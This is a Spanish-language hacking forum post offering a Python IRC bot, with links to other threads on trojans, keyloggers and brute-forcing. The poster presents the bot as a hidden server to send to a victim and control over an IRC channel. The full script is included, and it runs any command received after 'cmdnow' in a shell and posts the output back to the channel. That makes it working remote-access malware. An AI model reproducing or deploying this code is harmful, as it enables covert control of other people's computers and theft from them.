comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Python] IRC Bot

  • 0 Respuestas
  • 912 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Julio 03, 2011, 09:35:50 pm »
Hola a todos.

Aca les traigo un IRC Bot en Python para poder usar como servidor oculto y mandarselo
a una victima para poder controlarla desde un comando canal IRC

El comando clave para mandar comandos que despues se muestra el
resultado de comando en el chat es

Código: Python
  1. cmdnow TUCOMANDO
  2.  

Código: Python
  1. #!usr/bin/python
  2. #Insane Bot (C) Doddy Hackman 2011
  3. #Version beta 0.00001
  4.  
  5. import re,socket
  6. import subprocess
  7.  
  8. host = "127.0.0.1"
  9. canal = "#locos"
  10. nick = "bot"
  11.  
  12. irc = socket.socket()  
  13. try:
  14.  irc.connect((host,6667))
  15.  irc.send("NICK "+nick+"\r\n")
  16.  irc.send("USER "+nick+" 1 1 1 1\r\n")
  17.  irc.send("JOIN "+canal+"\r\n")
  18.  print "[+] Insane Bot Online\n"
  19.  while 1:
  20.   code = irc.recv(9999)
  21.   if re.findall("PING",code):
  22.    irc.send("PONG "+code.split()[1]+"\r\n")
  23.   if re.findall("PRIVMSG",code):
  24.    nick = code.split("!")
  25.    nick = nick[0].replace(":","")
  26.    msg = code.split(":")[2:][0]
  27.    if re.findall("cmdnow",code):
  28.     cmd = code.split("cmdnow")[1]
  29.     irc.send("PRIVMSG "+canal+" : [+] Loading command : "+cmd+"\n")
  30.     rea = subprocess.Popen(cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
  31.     if rea:
  32.      re1 = rea.stdout.read()
  33.      total = re1.replace("\n","|")
  34.      irc.send("PRIVMSG "+canal+" : "+total+"\n")
  35.     else:
  36.      re2 = rea.stderr.read()
  37.      total = re2.replace("\n","|")
  38.      irc.send("PRIVMSG "+canal+" : "+total+"\n")
  39.    
  40.    
  41. except:
  42.  print "\n\n[-] Error\n\n"
  43.  
  44.  
  45. # The End
  46.  
« Última modificación: Septiembre 18, 2012, 05:46:24 am por Pr0ph3t »

 

¿Te gustó el post? COMPARTILO!



[Código] Yardas a metros - Metros a yardas [Python]

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1421
Último mensaje Mayo 29, 2011, 01:27:34 am
por LucaSthefano
[Código] Entero / No Entero [Ejercicio - Python]

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1390
Último mensaje Mayo 29, 2011, 01:24:09 am
por LucaSthefano
Python Trojan - By "bLiNdFiR3"

Iniciado por d33k40

Respuestas: 1
Vistas: 2114
Último mensaje Abril 03, 2010, 11:01:59 pm
por Dharok
Python phpmyadmin "BruteForce"

Iniciado por linkgl

Respuestas: 2
Vistas: 2550
Último mensaje Agosto 19, 2011, 12:14:37 pm
por linkgl
Python keylogger - by "bLiNdFiR3"

Iniciado por d33k40

Respuestas: 0
Vistas: 2061
Último mensaje Abril 07, 2010, 03:30:22 am
por d33k40